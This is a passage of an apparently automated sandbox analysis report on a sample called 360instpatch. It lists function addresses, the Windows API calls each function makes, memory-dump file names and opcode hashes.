Function 00B46659 Relevance: 3.0, APIs: 2, Instructions: 14windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00B4665F
Shell_NotifyIconW.SHELL32(00000002), ref: 00B46672

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: IconNotifyShell_VisibleWindow
String ID:
API String ID: 1820326197-0
Opcode ID: 36f2f8f0509ce27ff978817e00180ae7ca89e77841733aae9db336fb1f28786c
Instruction ID: 04e1be664db075090e26486b4ebf01e647948f608b3242944fd99c84d70b3be4
Opcode Fuzzy Hash: 36f2f8f0509ce27ff978817e00180ae7ca89e77841733aae9db336fb1f28786c
Instruction Fuzzy Hash: 35D01232951131ABE7141B209D0DFA76AACDF1E751F07483968AAD61A0EEA0CC00D5E0

Function 6BF1163F Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 6BF117FB

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Event
String ID:
API String ID: 4201588131-0
Opcode ID: b3cc7788714a12d7dc475919dd0c8dc01a25976935e129bfddb4c46a8e5efdd6
Instruction ID: 867bb3c30467235cf0b07a70a5016d623fd4898571c959e510d16a81e303f612
Opcode Fuzzy Hash: b3cc7788714a12d7dc475919dd0c8dc01a25976935e129bfddb4c46a8e5efdd6
Instruction Fuzzy Hash: 18516033504616EFCB11AFB4C9A185EBBF5BF29704B008D29E64652670DB3DEA11EB50

Function 6BEE9B92 Relevance: 1.6, APIs: 1, Instructions: 123COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6BEE9C5C

Part of subcall function 6BEE789C: SetFilePointer.KERNEL32(?,?,?,00000000), ref: 6BEE78B6
Part of subcall function 6BEE789C: GetLastError.KERNEL32 ref: 6BEE78C7
Part of subcall function 6BEE789C: GetLastError.KERNEL32 ref: 6BEE78CD

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ErrorLast$FilePointer_malloc
String ID:
API String ID: 1834257132-0
Opcode ID: cebb2e84764aa1706b7be0193a6adcdc65585f6f24eb895a9b58ad8a694f9d42
Instruction ID: dd5ed5abaade632fb5b23e57e3ee23ab01b5fc4162acb588f4fd7506b4441716
Opcode Fuzzy Hash: cebb2e84764aa1706b7be0193a6adcdc65585f6f24eb895a9b58ad8a694f9d42
Instruction Fuzzy Hash: A7417376600119AFCF15DF74DC91EEE37ADAF45308F100169E8066B1A2DB7CAA56CBA0

Function 00B844E3 Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B844EA

Part of subcall function 00B842DE: __EH_prolog3.LIBCMT ref: 00B842FD
Part of subcall function 00B842DE: GetDriveTypeW.KERNEL32(?,0000000C), ref: 00B84327

Part of subcall function 00B82158: __EH_prolog3.LIBCMT ref: 00B82177
Part of subcall function 00B82158: CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,?,00000038), ref: 00B821BD
Part of subcall function 00B82158: _memset.LIBCMT ref: 00B821DF
Part of subcall function 00B82158: DeviceIoControl.KERNEL32(?,0004D030,?,00000028,?,00000028,?,00000000), ref: 00B82236
Part of subcall function 00B82158: _memset.LIBCMT ref: 00B8226C

Part of subcall function 00B83BFD: __EH_prolog3_catch.LIBCMT ref: 00B83C04
Part of subcall function 00B83BFD: CoCreateInstance.OLE32(00BDC868,00000000,00000001,00BDC798,?,00000038,00B84568,?,?,?,?,?,0000001C,00B7EAD1,?,?), ref: 00B83C22
Part of subcall function 00B83BFD: SysFreeString.OLEAUT32(?), ref: 00B83C71
Part of subcall function 00B83BFD: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00B83C88
Part of subcall function 00B83BFD: SysFreeString.OLEAUT32(?), ref: 00B83D26

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: H_prolog3$CreateFreeString_memset$BlanketControlDeviceDriveFileH_prolog3_catchInstanceProxyType
String ID:
API String ID: 3646017727-0
Opcode ID: d0408ee5c21575fd6cd24069c5a71cb9d9559e9e643634f7b673a7744d0fbf09
Instruction ID: 6eb282ce1456f940d9516cf194dfb8fa8e8c6aff63be6a05757fdd46ed1ccdc2
Opcode Fuzzy Hash: d0408ee5c21575fd6cd24069c5a71cb9d9559e9e643634f7b673a7744d0fbf09
Instruction Fuzzy Hash: B321A972D0011E9BDF12EF94C9818FEBBF9EF54350B1440AAE911B7261EB349E45DBA0

Function 00B3EAD4 Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,00000000,?), ref: 00B3EB65

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 23be179f4eac75855073058a8a24e76f02b6119f745c363ed92e2e557af09f94
Instruction ID: ef6dcc611d0fb55b9a5789298012f8cb6f5736f4c8864a93e6a79bf08882d3fd
Opcode Fuzzy Hash: 23be179f4eac75855073058a8a24e76f02b6119f745c363ed92e2e557af09f94
Instruction Fuzzy Hash: 46215771500709AFDF36CF15C9C4A9ABBE5EF48310F20495BF967936E0E231E9948B91

Function 6BF325D6 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 6BF32243: _memset.LIBCMT ref: 6BF32280
Part of subcall function 6BF32243: _strcat.LIBCMT ref: 6BF3228A
Part of subcall function 6BF32243: __wcstoi64.LIBCMT ref: 6BF322AE

Part of subcall function 6BF38425: _malloc.LIBCMT ref: 6BF3843F

htonl.WS2_32(?), ref: 6BF32617

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: __wcstoi64_malloc_memset_strcathtonl
String ID:
API String ID: 2862793191-0
Opcode ID: b39932a0cb563a551617da8486bb74bd5fe36d02693fffc44d2580fd909f4b91
Instruction ID: 954df38e72d02eac2c2c60690321ee1b9064780b33106d5d2eb1e191c6a5d3be
Opcode Fuzzy Hash: b39932a0cb563a551617da8486bb74bd5fe36d02693fffc44d2580fd909f4b91
Instruction Fuzzy Hash: 6011A333115A32BFE7609FB8EC01F9A77949F09B54F204119EA08DB5B0DABA994087D5

Function 6CD7AE0A Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CD7AE11

Part of subcall function 6CDDDF34: _malloc.LIBCMT ref: 6CDDDF4E

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: H_prolog3_malloc
String ID:
API String ID: 2346879263-0
Opcode ID: 7858957e854a9da20a599736bcc8dbb3b575c2e48917fea486174bd3a47320c7
Instruction ID: 38bb6a0982a1337b8c1b7f1e3d4cbab7d57811ee460b64af69265e654e73add5
Opcode Fuzzy Hash: 7858957e854a9da20a599736bcc8dbb3b575c2e48917fea486174bd3a47320c7
Instruction Fuzzy Hash: F221B071F0B384DAEF18CBB895143AE7AF05F11309F21449DD549D7BA1CB758A088776

Function 6BF326DA Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF32727

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: b2d13459f75d93a76cd220f6494b47156bf53593af11ca51bdf4b0d50d632825
Instruction ID: e12ffde7c7b8311f1abfd70351dae69a87da56e828371f9c6a8b676d2a5b6c90
Opcode Fuzzy Hash: b2d13459f75d93a76cd220f6494b47156bf53593af11ca51bdf4b0d50d632825
Instruction Fuzzy Hash: 1F11A23250012EABEF15CF64CC41EEE7BB9BB15304F0041EAE509A7250DB3A9A54CFE0

Function 00B5EB31 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B5EB38

Part of subcall function 00B95546: _malloc.LIBCMT ref: 00B95560

Part of subcall function 00B5E1E2: __EH_prolog3.LIBCMT ref: 00B5E1E9

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: H_prolog3$_malloc
String ID:
API String ID: 1683881009-0
Opcode ID: 2e2b63148b32a772494c4e578a43280191fbc5ef54b8dfee7dddb7f00e6283b1
Instruction ID: 5bd357167d6a66bb431593d53dee8ed605d8b40565f90aece3140cc9a4ffb9a1
Opcode Fuzzy Hash: 2e2b63148b32a772494c4e578a43280191fbc5ef54b8dfee7dddb7f00e6283b1
Instruction Fuzzy Hash: B1218E30601208AFDF159FA8C585BADBBF1AF48302F1440D8FD66AB391CBB18E44DB51

Function 00B1E410 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 00B1E080: GetCurrentProcessId.KERNEL32 ref: 00B1E084
Part of subcall function 00B1E080: CreateFileW.KERNEL32 ref: 00B1E0AA

PathFileExistsW.SHLWAPI(?,64A97E63,?,00000000,?,?,00000000,00BCD2E0,000000FF,?,00B1B43F,?), ref: 00B1E465

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: File$CreateCurrentExistsPathProcess
String ID:
API String ID: 3040742104-0
Opcode ID: 62ac2c4fd45ba163acf7fb284256d5acf86ae0878e173cec8565097002caade5
Instruction ID: 96932e5484038cbbbbb248f52c0bfd20bd03976b8e33b9be766abbfe6dc33458
Opcode Fuzzy Hash: 62ac2c4fd45ba163acf7fb284256d5acf86ae0878e173cec8565097002caade5
Instruction Fuzzy Hash: 9B11C272A04608ABEB10CF55E801BEEB7E8FB05760F4445AAFC2593780DB75E940CAA1

Function 6BF330D6 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF3310D

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 57a343d62a45e4de71a301594b3ef367e9fd167867c68347ed9a38d62336b94a
Instruction ID: 424ca31ec4ba26725175d77c055ec4558c210cfc41ea9cdcfd9dc8f563985a1c
Opcode Fuzzy Hash: 57a343d62a45e4de71a301594b3ef367e9fd167867c68347ed9a38d62336b94a
Instruction Fuzzy Hash: 1B11C273D005199EEB30DBA8CC40EEFB7BCBB49714F00012AE519D7290EB78A549DB91

Function 00B5EBDA Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B5EBE1

Part of subcall function 00B5DE99: __EH_prolog3.LIBCMT ref: 00B5DEA0

Part of subcall function 00B5EB31: __EH_prolog3.LIBCMT ref: 00B5EB38

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: ce738e0c6ba0bcfbae7a0bee604e0130effbe9f104f237b91801a0503506a619
Instruction ID: 8e6ff28d96ab9a2ca7e615513963076e8a451d548da34bd7708a8af8ebc7c28e
Opcode Fuzzy Hash: ce738e0c6ba0bcfbae7a0bee604e0130effbe9f104f237b91801a0503506a619
Instruction Fuzzy Hash: A011F832801109AFDF06EF94DD42EEEBBB6EF14301F1045A4F911B61A1DB319A29DB50

Function 00B662CA Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B662D1

Part of subcall function 00B36986: _wcschr.LIBCMT ref: 00B369AB

Part of subcall function 00B65F4D: __EH_prolog3_GS.LIBCMT ref: 00B65F54

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: H_prolog3H_prolog3__wcschr
String ID:
API String ID: 4028972141-0
Opcode ID: 17a0522ffe620be766665a1085adb64d47a6b8cefc297c7ca97a9971ed0ace39
Instruction ID: 7e3400763c84fd8c78b92ad122fa2081ecd9aa53991ce292d27667902fe84817
Opcode Fuzzy Hash: 17a0522ffe620be766665a1085adb64d47a6b8cefc297c7ca97a9971ed0ace39
Instruction Fuzzy Hash: F1019631284718B6DB04AA58CC52FBD37D4BB2A711F1081B2B9429E3C1CFB44A41D79A

Function 00B34BB9 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00B34BC2

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e169c8a4bfb5b5ffc9881e1d3534b2be287b29a60e47317e67d47e4904b6a676
Instruction ID: dfe38e37fef8953172e191b130af2367b6b60c024404e2eb0d4358bbe2a20e6f
Opcode Fuzzy Hash: e169c8a4bfb5b5ffc9881e1d3534b2be287b29a60e47317e67d47e4904b6a676
Instruction Fuzzy Hash: 7711E571500705DFD7219B29C845BD6B3E8EB08356F2048A9E19A87092E7B4F988CF90

Function 6BEFB071 Relevance: 1.6, APIs: 1, Instructions: 50networkCOMMON

Download Yara Rule

APIs

gethostbyname.WS2_32(00000000), ref: 6BEFB074

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: gethostbyname
String ID:
API String ID: 930432418-0
Opcode ID: 3b84a5abd47c707d1c72ffa9782e3791c192e7caa7e6ca0bb40f5aba89016d43
Instruction ID: 527d7240b255903d5902d2c90cbb9cd3acfb8edc7e51e89491331f14ab1fb526
Opcode Fuzzy Hash: 3b84a5abd47c707d1c72ffa9782e3791c192e7caa7e6ca0bb40f5aba89016d43
Instruction Fuzzy Hash: DE01A276A04515EFD7009F78EC80B0AB379FF8572CF2041A5E126CB261E77AD9A6C781

Function 6BF2E39F Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 6BF3074A: WSASetLastError.WS2_32(0000276D,?,?,?,?,?,?,?), ref: 6BF30772

closesocket.WS2_32 ref: 6BF2E411

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ErrorLastclosesocket
String ID:
API String ID: 1278161333-0
Opcode ID: 295f15e3ccd22783d49df1d34b87a76fa4025a77f3155a11e19b634ffb1377ed
Instruction ID: 448d8a9fda8beae0bc6a74514326de3cd122c02d26a866a8486b2db0bace97ed
Opcode Fuzzy Hash: 295f15e3ccd22783d49df1d34b87a76fa4025a77f3155a11e19b634ffb1377ed
Instruction Fuzzy Hash: 9301923A100219ABCF05DFB0D895EDE3BB9EF45354F100469F80693220CB35E9A4CBA0

Function 6BF2C780 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(6BFCC3F0,000004CC,00000000,00000001), ref: 6BF2C7E1

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: MessagePost
String ID:
